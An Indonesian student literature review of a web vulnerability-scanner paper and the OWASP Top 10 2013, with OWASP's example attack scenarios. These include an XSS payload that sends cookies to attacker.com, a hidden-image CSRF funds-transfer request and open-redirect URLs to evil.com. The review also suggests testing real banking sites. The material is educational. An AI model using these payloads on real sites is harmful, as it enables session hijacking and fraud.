LITERATURE REVIEW

Dilakukan untuk Melakukan Penelitian dengan Topik :

Analisa Keamanan Aplikasi Web Berdasarkan OWASP

Mata Kuliah
Dosen Pengajar

: Layanan dan Aplikasi Web

: Bayu Distiawan Trisedya, S. Kom, M. Kom

DISUSUN OLEH :
KELOMPOK 1
AHMAD FARISI
SISKA DEVELLA

1406595930
1406661264

MAGISTER ILMU KOMPUTER

UNIVERSITAS INDONESIA
Semester Genap Tahun Akademik 2014/2015

LITERATUR 1

1|P age

1 DETIL LITERATUR
Judul

: Pencari Celah Keamanan pada Aplikasi Web

Penulis

: 1. Muhammad Chandrika Kesuma

2. Ary Mazharuddin Shiddiqi
3. Baskoro Adi Pratomo

Tahun Terbut : 2012

Jurnal

: Paper and Presentation of Informatic Engineering, RSIf 005.8 Kes p, 2013

Abstrak

Kejahatan di dunia teknologi dan informasi terutama pada aplikasi web semakin marak
terjadi.Salah satu faktor yang menyebabkan kurangnya tingkat keamanan pada aplikasi web adalah
kesalahan penulisan kode program. Kesalahan penulisan kode program dalam pembuatan aplikasi web
adalah hal yang sering dimanfaatkan oleh para penyerang, hal ini mengakibatkan rata-rata aplikasi
web bisa diserang dengan memanfaatkan kesalahan ini. Kelemahan-kelemahan yang sering
dimanfaatkan oleh para penyerang diantaranya adalah kelemahan terhadap SQL Injection, XSS, Remote
File Inclusion, dan Username Enumeration.
Salah satu cara untuk mendeteksi adanya kelemahan-kelemahan pada aplikasi web adalah dengan
menggunakan aplikasi pencari celah keamanan.Aplikasi pencari celah keamanan ini dimaksudkan untuk
mendeteksi secara otomatis apakah suatu aplikasi web memiliki kerentanan terhadap suatu serangan.
Aplikasi ini akan mencari celah keamanan suatu situs web terhadap 4 metode serangan, yaitu :SQL
Injection, XSS (Cross-site Scripting), RFI (Remote File Inclusion), dan Username Enumeration.
Dari hasil uji coba,aplikasi ini bisa memberikan informasi tentang dimana letak celah keamanan
yang terdapat pada suatu aplikasi web terhadap metode-metode serangan yang diujikan.Serangan SQL
Injection, XSS, dan RFI dapat dihindari dengan cara melakukan sanitasi terhadap masukan dari
pengguna.
Kata Kunci

: RFI, SQL Injection, Username Enumeration, XSS

2 PEMBAHASAN LITERATUR
2.1. Mengapa Penelitian Dilakukan?
Penelitian tentang Pencari Celah Keamanan pada Aplikasi Web ini dilakukan dengan melihat
fenomena banyaknya kejahatan yang terjadi di dunia teknologi informasi. Peneliti melihat sudut pandang
keamanan tersebut dari sisi aplikasi web, bukan dari sudut pandang infrastruktur jaringan yang ada di
belakang aplikasi web.

2|P age

Penelitian ini menyoroti akibat yang ditimbulkan oleh kesalahan penulisan kode program.
Kesalahan tersebut yang sering dimanfaatkan oleh para penyerang. Kelemahan-kelemahan penulisan
kode program yang sering dimanfaatkan oleh para penyerang dalam menyerang aplikasi web di antaranya
adalah SQL Injection dan Cross Site Scripting (XSS). Hal tersebut dapat ditunjukkan pada diagram
berikut ini.

Gambar 1. 1. Diagram serangan pada aplikasi web

Dari gambar diagram yang dirilis oleh webappsec.org (2011) di atas, dapat dilihat bahwa
serangan pada aplikasi web melalui SQL Injection mencapai 20% dan XSS mencapai 9,9%, sementara
persentase tertinggi 22,5% belum diketahui. Hal ini sesuai dengan dokumen yang dirilis oleh OWASP
(Open Web Application Security Project) tentang 10 celah teratas pengancam website. Dua di antaranya
adalah SQL Injection dan XSS.
Selain dari SQL Injection dan XSS, peneliti juga menyoroti metode lain yang sering digunakan
untuk menyerang aplikasi web. Metode-metode tersebut adalah Username Enumeration dan Remote File
Inclusion (RFI).
Berangkat dari permasalahan di atas peneliti membuat aplikasi yang digunakan untuk melihat
ketahanan aplikasi web terhadap SQL Injection, XSS, Username Enumeration, dan RFI. Atau dengan
kata lain peneliti membuat aplikasi untuk mencari celah (mendeteksi) keamanan yang mungkin terdapat
pada aplikasi web. Adapun aplikasi yang dibuat oleh peneliti adalah aplikasi desktop yang dibangun
dengan bahasa pemrograman java.

3|P age

2.2. Bagaimana Cara Melakukannya?

Secara umum, cara kerja aplikasi yang dibangun oleh peneliti adalah sebagai berikut.
1. Aplikasi melakukan request berupa URL ke server.
2. Server memberikan respon berupa HTML.
3. Aplikasi melakukan proses scan terhadap respon HTML dan menginjeksikan script injeksi.
4. Server memberikan respon berupa HTML.
5. Aplikasi melakukan proses scan terhadap respon HTML untuk memeriksa hasil proses injeksi.
6. Aplikasi memberikan laporan hasil proses scan.
Aplikasi yang dibangun oleh peneliti memberikan keluaran status kerentanan dari aplikasi web.
Status tersebut adalah rentan (vulnerable) atau tidak rentan (not vulnerable). Flow chart dari cara kerja
aplikasi adalah sebagai berikut.
START

Aplikasi melakukan
request berupa URL

Server memberikan
respon berupa HTML

Melakukan proses
scanning terhadap respon
HTML

Menginjeksikan Script
Penyerangan

YA

Scanning respon HTML

setelah proses injeksi

Apakah Injeksi
Berhasil

TIDAK

Vulnerable

Tidak Vulnerable

END

Gambar 1. 2. Flow Chart aplikasi

4|P age

2.3. Bagaimana Hasil Penelitiannya?

Peneliti melakukan pengujian terhadap serangan SQL Injection, XSS, Username Enumeration,
dan RFI. Adapun parameter keberhasilan pengujian yang dilakukan oleh peneliti dikatakan valid ketika
hasil pengujian aplikasi yang diuji coba secara manual memberikan hasil yang sama dengan keluran
aplikasi.
Adapun pengujian-pengujian yang dilakukan oleh peneliti adalah sebagai berikut.
Tabel 1. 1. Hasil Pengujian Aplikasi
No

URL

its.ac.id/personal/p
ublikasi.php?idJur
nal=.....
localhost/webTA
localhost/cake/inde
x.php
localhost/webTA

2
3
4

XSS

Uji Coba
Aplikasi
Vulnerable

Uji Coba
Manual
Berhasil
terinjeksi

SQL Injection

Vulnerable

RFI

Vulnerable

Username
Enumeration

Vulnerable

Berhasil
terinjeksi
Berhasil
terinjeksi
Berhasil
terinjeksi

Serangan

Kesimpulan
Valid

Valid
Valid
Valid

Hasil uji coba aplikasi di atas menunjukkan bahwa semua URL berstatus vulnerable atau dengan
kata lain, semua URL rentan terhadap serangan XSS, SQL Injection, RFI, dan Username Enumeration.

3 KESIMPULAN
Hasil penelitian ini menunjukkan pentingnya keamanan dalam aplikasi web. Hasil penelitian juga
menunjukkan semua URL yang diuji coba menunjukkan status vulnerable yang berarti rentan terhadap
serangan-serangan seperti XSS, SQL Injection, RFI, dan Username Enumeration.
Penelitian ini dapat dilanjutkan dengan menguji tingkat kerentanan terhadap serangan-serangan
yang lain selain dari XSS, SQL Injection, RFI, dan Username Enumeration. Parameter serangan-serangan
tersebut dapat dilihat juga dari Web Database Insident Hacking (WHID) yang menunjukkan metodemetode serangan yang lebih banyak dan dapat diteliti lebih lanjut. Adapun data-data WHID tahun 2011
tersebut adalah sebagai berikut.

5|P age

Gambar 1. 3. Serangan aplikasi web versi WHID tahun 2011

Pada akhir literatur review ini, kami menemukan sedikit kelemahan pada penelitian ini. Adapun
kelemahan tersebut menurut kami terletak pada URL yang diuji coba oleh peneliti dalam menguji
kerentanan serangan-serangan XSS, SQL Injection, RFI, dan Username Enumeration. Peneliti
menggunakan tiga URL pada server local untuk menguji kerentanan tersebut. Seharusnya peneliti lebih
banyak menambahkan URL-URL lain yang bukan URL dari server local. Misalnya, menguji URL-URL
aplikasi web dari website-website e-Banking, e-Commerce, atau yang lainnya. Dari sana, peneliti dapat
melihat persentase status kerentanan URL-URL tersebut terhadap serangan-serangan XSS, SQL Injection,
RFI, dan Username Enumeration per kategori website.

4 REFERENSI
Kesuma, M. C., Shiddiqi, A. M., & Pratomo, B. A. (2012). Pencari Celah Keamanan pada Aplikasi
Web. Paper and Presentation of Informatic Engineering, RSIf 005.8 Kes P, 2013, 16. Retrieved
from http://digilib.its.ac.id/public/ITS-paper-25617-5108100006-Paper.pdf
Wichers, D., Williams, J., & Stock, A. Van Der. (2013). OWASP Top 10 - 2013 rc1, 123. Retrieved
from http://owasptop10.googlecode.com/files/OWASP Top 10 - 2013 - RC1.pdf

6|P age

LITERATUR 2

7|P age

1 DETIL LITERATUR
Judul

: OWASP Top 10 - 2013 rc1 The Ten Most Critical Web Application Security Risk

Penulis

: 1. Dave Wichers
2. Jeff Williams
3. Andrew Van Der Stock

Tahun Terbut : 2013

Buku

: Copyright 2003 2013 The OWASP Foundation

Abstrak

The OWASP Top 10 is based on risk data from 8 firms that specialize in application security,
including 4 consulting companies and 4 tool vendors (2 static and 2 dynamic). This data spans over
500,000 vulnerabilities across hundreds of organizations and thousands of applications. The Top 10
items are selected and prioritized according to this prevalence data, in combination with consensus
estimates of exploitability, detectability, and impact estimates. The primary aim of the OWASP Top 10
is to educate developers, designers, architects, managers, and organizations about the consequences of
the most important web application security weaknesses. The Top 10 provides basic techniques to protect
against these high risk problem areas and also provides guidance on where to go from here.

2 PEMBAHASAN LITERATUR
Menurut OWASP (Open Web Application Security Project) terdapat sepuluh jenis serangan
keamanan pada aplikasi web yang sering terjadi. OWASP sendiri adalah sebuah komunitas non profit
yang bertujuan dalam mengembangkan metodologi, program, dokumentasi yang berhubungan dengan
keamanan pada aplikasi web. Berikut sepuluh jenis serangan keamanan pada web aplikasi yang dirilis
pada tahun 2013.

Tabel 2. 1. Jenis Serangan Keamanan

A1

Injection

A2

Broken Autentification and Session Management

A3

Cross-Site Scipting (XSS)

A4

Insecure Direct Object References

A5

Security Misconfiguration
8|P age

A6

Sensitive Data Exposure

A7

Missing Fuction Level Access Control

A8

Control-Site Request Forgery (CSRF)

A9

Using Known Vulnerable Components

A10

Unvalidated Redirects and Forwards

2.1. Resiko Keamanan Aplikasi

Penyerang berpotensi mengunakan berbagai cara melalui aplikasi untuk membahayakan bisnis
atau suatu organisasi. Masing-masing jalur tersebut adalah resiko yang mungkin atau tidak mungkin, dan
cukup serius untuk memperoleh perhatian.

Gambar 2. 1. Alur serangan pada aplikasi

2. 2. OWASP Risk Rating Methodology

a.

Step 1: Mengidentifikasi Risiko

Langkah pertama adalah mengidentifikasi resiko keamanan yang perlu dinilai. Tester perlu
mengumpulkan informasi tentang ancaman yang terlibat, serangan yang akan digunakan, kerentanan
yang terlibat, dan dampak yang berhasil dalam mengeksploitasi bisnis.

b.

Step 2: Faktor Memperkirakan Kemungkinan

Setelah tester mengidentifikasi resiko dan mencari tau seberapa serius resiko tersebut, langkah kedua
adalah memperkirakan kemungkinan. Ada sejumlah faktor yang dapat membantu menentukan
kemunkinan tersebut. Salah satunya adalah faktor yang berhubungan dengan ancaman yang terlibat,
hal ini bertujuan untuk memperkirakan kemungkinan serangan dari sekelompok penyerang.
9|P age

c.

Step 3: Faktor Perkiraan Dampak

Ketika mempertimbangkan dampak dari keberhasilan sebuah serangan, penting untuk menyadari
bahwa ada dua macam dampak yaitu "dampak teknis" pada aplikasi, data dan fungsi-fungsi yang
disediakan, serta "dampak bisnis" pada bisnis atau organisasi yang mengoperasikan aplikasi.

d.

Step 4: Menentukan Beratnya Resiko

Dalam langkah ini perkiraan kemungkinan dan perkiraan dampak yang disatukan untuk menghitung
keseluruhan beratnya untuk risiko ini.

e.

Step 5: Memutuskan untuk memperbaiki

Setelah risiko terhadap aplikasi telah diklasifikasikan akan ada daftar prioritas apa yang harus
diperbaiki. Sebagai aturan umum, risiko yang paling parah harus diperbaiki terlebih dahulu.

f.

Step 6: Menyesuaikan Risk Rating Model

Memiliki kerangka risk rating yang disesuaikan untuk bisnis adalah penting untuk diterapkan.

2. 3. Injection

Gambar 2. 2. A1 - Injection
Pada diagram di atas yang dimaksud orang melakukan serangan injection adalah setiap orang
yang mengirimkan data yang tidak benar ke server melalui web application sebagai bagian dari perintah
atau permintaan. Data tersebut dapat berupa data yang sederhana atau data yang rumit.
10 | P a g e

2. 4. Broken Autentification and Session Management

Gambar 2. 3. A2 - Broken Autentification and Session Management

Fungsi aplikasi yang berhubungan dengan otentikasi dan manajemen sesi sering tidak diterapkan
dengan benar, memungkinkan penyerang untuk membahayakan atau mengambil password, key, atau
token sesi, atau mengeksploitasi kelemahan pelaksanaan lainnya untuk mendapatkan identitas pengguna.
Apakah Aset manajemen sesi seperti kredensial pengguna dan Sesi ID benar dilindungi?
Mungkin terjadi kerentanan jika :
1. Pengguna autentifikasi tidak dilindungi saat disimpan menggunakan hashing atau enkripsi.
2. Kredensial bisa ditebak atau diganti melalui kelemahan dari fungsi manajemen account (misalnya,
pembuatan akun, mengubah password, memulihkan password, session ID yang lemah).
3. Sesi ID yang terexpose di URL (misalnya, penulisan ulang URL).
4. ID Sesi rentan terhadap serangan session fixation.
5. Sesi ID tidak timeout, atau sesi pengguna atau token otentikasi, terutama single sign-on (SSO) token,
tidak benar melakukan validasi saat logout.
6. ID sesi tidak dirotasikan setelah berhasil login
7. Sandi, session ID, dan kredensial lainnya dikirim melalui koneksi terenkripsi.
Contoh Skenario serangan :
Skenario # 1: pemesanan Airline aplikasi mendukung penulisan ulang URL, menempatkan ID sesi
dalam URL: http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest
=Hawaii

11 | P a g e

Pengguna mengkonfirmasi situs agar membiarkan orang lain mengetahuinya. Target

mengirimkan e-mail link di atas tanpa tahu bahwa telah memberikan ID sesi nya. Orang lain
menggunakan link tersebut, makan orang lain tersebut juga menggunakan ID sesi dan kartu kreditnya.
Skenario # 2: timeout Aplikasi tidak diatur dengan benar. Pengguna menggunakan komputer umum ke
situs akses. Alih-alih memilih "logout" pengguna hanya menutup tab browser dan meninggalkannya.
Penyerang menggunakan browser yang sama satu jam kemudian, dan browser masih dikonfirmasi.
Skenario # 3: Eksternal penyerang memperoleh akses ke sistem database password. Password pengguna
tidak di-hash dengan benar, sehingga memperlihatkan password setiap pengguna ke penyerang.

2. 5. Cross-Site Scipting (XSS)

Gambar 2. 4. A3 - Cross-Site Scipting (XSS)

XSS memungkinkan penyerang untuk mengeksekusi skrip pada browser target yang dapat
membajak sesi target, merusak situs web, atau mengarahkan target ke situs berbahaya.
Contoh skenario penyerangan :
Aplikasi ini menggunakan data yang tidak dipercaya dalam pembangunan berikut potongan
HTML tanpa validasi.
(String) page += "<input name='creditcard' type='TEXTvalue='" +
request.getParameter("CC") + "'>";

12 | P a g e

Penyerang memodifikasi 'CC' parameter dalam browser-nya ke:

'><script>document.location='http://www.attacker.com/cgibin/cookie.cgi?foo='+document.cooki
e</script>'
Penyerang menyebabkan sesi ID target untuk dikirim ke situs penyerang, yang memungkinkan
penyerang untuk membajak sesi target.

2. 6. Insecure Direct Object References

Gambar 2. 5. A4 - Insecure Direct Object References

Suatu celah yang terjadi saat pembuat aplikasi web mengekspos referensi internal penggunaan
objek, seperti file, direktori, database record. Tanpa pemeriksaan kontrol akses atau perlindungan lainnya,
penyerang dapat memanipulasi referensi ini untuk mengakses data yang tidak sah. Semua framework
aplikasi web rentan terhadap Insecure Direct Object References.
Misalnya, dalam aplikasi Internet Banking, biasanya menggunakan nomor rekening sebagai
keyword. Oleh karena itu, sangat menarik untuk menggunakan nomor rekening langsung di interface web.
Bahkan jika pengembang telah menggunakan parameter query SQL untuk mencegah SQL injection, jika
tidak ada pemeriksaan tambahan bahwa pengguna adalah pemegang rekening dan berwenang untuk
melihat account, penyerang dapat melihat atau mengubah semua account.
Contoh skenario penyerang :
Aplikasi ini menggunakan data yang belum diverifikasi dalam panggilan SQL yang mengakses
informasi account:
13 | P a g e

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt =
connection.prepareStatement(query , );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );

Penyerang hanya memodifikasi 'acct' parameter pada browsernya untuk mengirim account
number apa pun yang dia inginkan. kalau tidak diverifikasi dengan benar, penyerang dapat mengakses
akun setiap target.

2. 7. Security Misconfiguration

Gambar 2. 6. A5 - Security Misconfiguration

Keamanan yang baik membutuhkan konfigurasi yang aman dan digunakan untuk aplikasi,
kerangka, server aplikasi, server web, database server, dan platform. Pengaturan keamanan harus
didefinisikan, diimplementasikan, dan dipelihara. Selain itu software harus selalu up to date.

Contoh skenario penyerang :

Skenario # 1: The app server admin console secara otomatis diinstal dan tidak dihapus. Account default
tidak berubah. Penyerang menemukan halaman admin standar berada di server Anda, log in dengan
password default, dan mengambil alih.

14 | P a g e

Skenario # 2: daftar direktori tidak dinonaktifkan pada server Anda. Penyerang menemukan daftar
tersebut untuk menemukan file apapun. Penyerang menemukan dan mendownload semua kompilasi
kelas Java Anda. Kemudian menemukan kontrol akses cacat serius dalam aplikasi Anda.

Skenario # 3: App konfigurasi server memungkinkan jejak stack dikembalikan ke pengguna, yang
berpotensi mengekspos kelemahan. Penyerang menyukai information error messages yang disediakan.

Skenario # 4: App server dilengkapi dengan sample applications yang tidak dihapus dari server produksi
Anda. Sample applications telah dikenal baik akan kelemahan keamanan, penyerang dapat
menggunakannya untuk membahayakan server Anda.

2. 8. Sensitive Data Exposure

Gambar 2. 7. A6 - Sensitive Data Exposure

Banyak aplikasi web tidak benar dalam melindungi data sensitif, seperti kartu kredit, ID pajak,
dan autentifikasi. Penyerang dapat mencuri atau memodifikasi data yang lemah perlindungannya tersebut
untuk melakukan penipuan kartu kredit, pencurian identitas, atau kejahatan lainnya. Data sensitif layak
mendapatkan perlindungan ekstra seperti enkripsi saat rest atau dalam transit, serta tindakan pencegahan
khusus bila pertukaran browser.

Contoh skenario penyerang :

Skenario # 1: Sebuah aplikasi mengenkripsi nomor kartu kredit dalam database menggunakan enkripsi
database otomatis. Namun, ini berarti juga mendekripsi data tersebut secara otomatis ketika diambil,
15 | P a g e

memungkinkan terjadinya kecacatan dalam injeksi SQL untuk mengambil nomor kartu kredit dalam
bentuk teks. Sistem harus mengekripsi nomor kartu kredit menggunakan kunci publik, dan hanya
diperbolehkan aplikasi back-end untuk mendekripsi mereka dengan kunci pribadi.

Skenario # 2: Situs sederhana tidak menggunakan SSL untuk semua halaman autentifikasi. Penyerang
hanya memonitor lalu lintas jaringan (seperti jaringan nirkabel), dan mencuri sesi cookie pengguna.
Penyerang kemudian replay cookie ini dan membajak sesi pengguna, mengakses data pribadi pengguna.

Skenario # 3: Database password menggunakan hash untuk menyimpan password semua orang. Sebuah
cacat dalam upload file memungkinkan penyerang untuk mengambil file password. Semua unsalted hash
dapat terekspos dengan rainbow table hash precalculated.

2. 9. Missing Fuction Level Access Control

Gambar 2. 8. A7 - Missing Fuction Level Access Control

Sebagian besar aplikasi web memverifikasi function level access sebelum membuat fungsi terlihat
di UI. Namun, aplikasi perlu melakukan pemeriksaan kontrol akses yang sama pada server ketika
masing-masing fungsi diakses. Jika permintaan tidak diverifikasi, penyerang akan dapat menempa
permintaan untuk mengakses fungsi tanpa otorisasi yang tepat. Semua framework aplikasi web rentan
terhadap kegagalan untuk membatasi akses URL.

16 | P a g e

Skenario # 1: Penyerang menelusuri untuk menargetkan URL. URL berikut memerlukan otentikasi. Hak
admin juga diperlukan untuk mengakses halaman "admin_getappInfo".
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

Jika pengguna tidak berkepentingan dapat mengakses salah satu halaman tersebut, itu sebuah kecacatan.
Jika dikonfirmasi, non-admin, user diijinkan untuk mengakses halaman "admin_getappInfo", ini juga
sebuah kecacatan.

Skenario # 2: Sebuah halaman memberikan 'action' parameter untuk menentukan fungsi yang dipanggil,
dan tindakan yang berbeda membutuhkan peran yang berbeda. Jika peran ini tidak ditegakkan, itu sebuah
kecacatan.

2.10. Control-Site Request Forgery (CSRF)

Gambar 2. 9. A8 - Control-Site Request Forgery (CSRF)

Sebuah serangan CSRF memaksa browser target log-on untuk mengirimkan permintaan HTTP
palsu, termasuk sesi cookie target dan informasi otentikasi otomatis, untuk aplikasi web yang rentan atau
memiliki celah. Hal ini memaksa browser target untuk melakukan sesuatu yang menguntungkan
penyerang.

17 | P a g e

Aplikasi ini memungkinkan pengguna untuk mengirimkan permintaan mengubah state / kondisi. Sebagai
contoh:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

Jadi, penyerang membangun permintaan yang akan mentransfer uang dari rekening target ke rekening
penyerang, dan kemudian melekatkan serangan ini dalam permintaan gambar atau iframe yang tersimpan
di berbagai situs di bawah kendali penyerang:
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#
width="0" height="0" />

Jika target mengunjungi salah satu situs penyerang sementara sudah dikonfirmasi untuk example.com,
permintaan palsu ini secara otomatis akan menyertakan info sesi pengguna, otorisasi permintaan
penyerang.

2.11. Using Known Vulnerable Components

Gambar 2. 10. A9 - Using Known Vulnerable Components

Komponen, seperti libraries, framework, dan modul perangkat lunak lain, hampir selalu
dijalankan dengan hak istimewa penuh. Jika komponen rentan dimanfaatkan, serangan itu dapat
memfasilitasi kehilangan data yang serius atau pengambil alihan server. Aplikasi menggunakan
komponen dengan kerentanan diketahui dapat merusak pertahanan aplikasi dan memungkinkan berbagai
kemungkinan serangan dan dampak.
18 | P a g e

2.12. Unvalidated Redirects and Forwards

Gambar 2. 11. A10 - Unvalidated Redirects and Forwards

Aplikasi web sering mengarahkan dan meneruskan pengguna ke halaman lain atau website lain,
dan menggunakan data yang tidak dipercaya untuk menentukan halaman tujuan. Tanpa validasi yang
tepat, penyerang dapat mengarahkan target ke situs phishing atau malware, atau menggunakan forward
untuk mengakses halaman yang tidak sah.

Contoh skenario penyerang :

Skenario # 1: Aplikasi ini memiliki halaman yang disebut "redirect.jsp" yang mengambil parameter
tunggal bernama "url". Penyerang memberikan URL berbahaya yang mengarahkan pengguna ke situs
berbahaya yang melakukan phishing dan menginstal malware.
http://www.example.com/redirect.jsp?url=evil.com

Skenario # 2: Aplikasi menggunakan forward untuk permintaan rute antara bagian yang berbeda dari
situs. Untuk memfasilitasi ini, beberapa halaman menggunakan parameter untuk menunjukkan di mana
pengguna harus dikirim jika transaksi berhasil. Dalam hal ini, penyerang memberikan URL yang akan
melewati kontrol akses cek aplikasi dan kemudian meneruskan penyerang untuk mengambil fungsi
administrasi dimana penyerang tidak memiliki wewenang.
http://www.example.com/boring.jsp?fwd=admin.jsp

19 | P a g e